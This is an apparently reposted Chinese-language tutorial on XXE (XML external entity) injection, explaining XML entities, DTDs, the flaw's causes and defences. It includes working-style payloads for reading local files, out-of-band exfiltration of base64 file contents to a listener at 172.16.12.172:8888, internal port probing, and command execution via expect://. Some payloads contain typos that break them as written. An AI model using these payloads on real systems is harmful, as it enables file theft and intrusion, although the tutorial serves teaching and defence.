1. 程式人生 > 其它 >XXE XML外部實體注入 漏洞

XXE XML外部實體注入 漏洞

0x00 XML 基礎知識

ⅩML 介紹

  • XML 是 The Extensible Markup Language(可擴充套件標識語言)的簡寫。

  • XML最初的目的是彌補 HTML 的不足,後來逐漸用於網路資料的轉換和描述 ,XML 的設計宗旨是傳輸資料

  • XML在 web 中的應用已十分廣泛。XML 是各種應用程式之間資料傳輸 最常用的資料格式。

與 HTML 的區別:

  • XML 被設計用來傳輸和儲存資料,其焦點是資料的內容。

  • HTML 被設計用來顯示資料,其焦點是資料的外觀。

  • HTML 旨在顯示資訊 ,而 XML 旨在傳輸資訊

XML實體介紹

  • 什麼是XML實體

  • 在一個甚至多個XML文件中頻繁使用某一條資料,我們可以預先定義一個這條資料的“別名”,即一個 ENTITY ,然後在這些文件中需要該資料的地方呼叫它。根據實體的來源我們可以分為內部實體和外部實體。XML定義了兩種型別的 ENTITY,一種在XML文件中使用,另一種作為引數在DTD檔案中使用。定義好的 ENTITY在文件中通過"&實體名;"來使用。

  • 可以把實體當作xml語言的變數

  • XML實體型別有兩種:普通實體引數實體

  • XML實體的語法
<!DOCTYPE根元素 [<!ENTITY內部普通實體名 "實體所代表的字串">]>
<!DOCTYPE根元素 [<!ENTITY外部普通實體名 SYSTEM "外部實體的UR|">]>
<!DOCTYPE根元素 [<!ENTITY % 內部引數實體名 "實體所代表的字串">]>
<!DOCTYPE根元素 [<!ENTITY % 外部引數實體名 SYSTEN "外部實體的URL">]>

DTD文件介紹

  • 概述

  • DTD使資料格式之間按照相同的標準 來傳輸。

  • DTD是一種XML約束模式 語言,用來解釋XML文件

  • DTD型別:分為內部DTD文件和外部DTD文件

  • DTD文件的語法結構:

  • 內部 DTD文件的語法結構:<!DOCTYPE根元素 [定義內容]>

  • 外部 DTD文件的語法結構:<!DOCTYPE根元素 SYSTEM "DTD檔案路徑">
  1. 新建一個DTD文件 outdid.dtd
  1. 新建一個XML文件 outdid.xml
  • 內外 DTD文件結合的語法結構:
  1. 新建一個DTD文件 out2dtd.dtd
  1. 新建一個DTD文件 out2dtd.xml

XML支援的協議

XML 實體引用

  1. 普通實體引入外部實體:
  1. 引數實體引入外部實體:

XML實體定義總結

<?xml version='1.0' encoding='utf-8'?>   //標識(可要可無)  
<!DOCTYPE bbb SYSTEM "dtd文件路徑"[
<!ELEMENT name (#PCDATA)>     //內部dtd文件    
<!ELEMENT age (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///c:/windows/win.in">
<!ENTITY abc "hello word!">   //內部普通實體定義     
<!ENTITY % b "abcd">          //內部引數實體定義
<!ENEITY c SYSTEM "路徑">      //外部普通實體宣告   
%b
]>
<aaa>
    <asd>&xxe;</asd>
    <age>&b;</age>
    <sex>&c;</sex>
    <a>&xxe;</a>
</aaa>


//區分內部還是外部實體呼叫看有沒有SYSTEM 有SYSTEM關鍵字一定是外部呼叫   
//普通實體外部呼叫
<!DOCTYPE aa [
<!ENTITY a SYSTEM "檔案路徑(可以是普通路徑也可以是URL)">]>
<a>&a;</a>      //只有呼叫實體才會發生檔案讀取

0x01 XXE 漏洞原理

XXE概述

  • XXE漏洞也叫XML外部實體注入 ,XXE漏洞發生在應用程式解析XML輸入 時,沒有禁止外部實體的載入 ,導致可載入惡意外部檔案

漏洞的產生

  • 對上傳的xml檔案沒有進行過濾 ,導致可上傳惡意xml檔案

0x02 XXE 漏洞危害

漏洞的危害

  1. 讀取任意檔案

  2. 執行系統命令

  3. 內網埠掃描

  4. 攻擊內網其他網站

0x03 XXE 漏洞防禦

  • 禁止使用外部實體 ,例如 libxml_disable_entity_loader(true)

  • 過濾 使用者提交的XML資料 ,防止出現非法內容

0x04 XXE 漏洞利用

  1. 讀取任意檔案
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note[!ENTITY xxe SYSTEM "file:///c:windows/win.ini"]>
<name>&xxe;</name>

<!DOCTYPE note[!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource="檔案路徑"']>

外帶資料 ** 讀取任意檔案**

  • 監聽8888埠
// payload
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note[!ENTITY xxe SYSTEM "http://172.16.12.172:8888/xxe.dtd"]>
<name>&send;</name>

// 遠端xxe.dtd檔案
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % int "<!ENTITY send SYSTEM 'http://172.16.12.172:8888/?data=%data;'>">
%int;
  1. 遠端埠探測
  • (主機存活掃描)根據頁面延遲 banner資訊 (不準)
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note[!ENTITY xxe SYSTEM "http://ip:探測埠號/test"]>
<name>&xxe;</name>
  1. 遠端命令執行
  • 有些情況下攻擊者能夠通過XXE執行程式碼,這主要是由於配置不當/開發內部應用 導致的。

  • 前提:PHP環境中安裝了expect擴充套件

  • payload:

<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note [<!ENTITY xxe SYSTEM "expect://系統命令">]>
<name>&xxe;</name>

漏洞程式碼分析

  • 服務端程式碼分析
<?php
  if(!empty($_POST['sub'])){
    $data = $_POST['data']:
    $xmL = simp_lexml_load_string(data); //XML解析函式
    print($xm1);
  }
?>
  • simplexml_load_string() 函式的作用是把XML字串載入物件中,函式獲取xml內容,並沒有進行任何的過濾

0x05 XXE 漏洞挖掘

  1. 判斷當前網頁資料傳輸是否使用xml語言
  • 看content-type:application/xml

  • 看請求體是否滿足xml格式資料

  1. 直接加外部實體看他是否會解析

注:一定要有呼叫的過程,定義好的實體不去呼叫檔案讀取的步驟就是無效的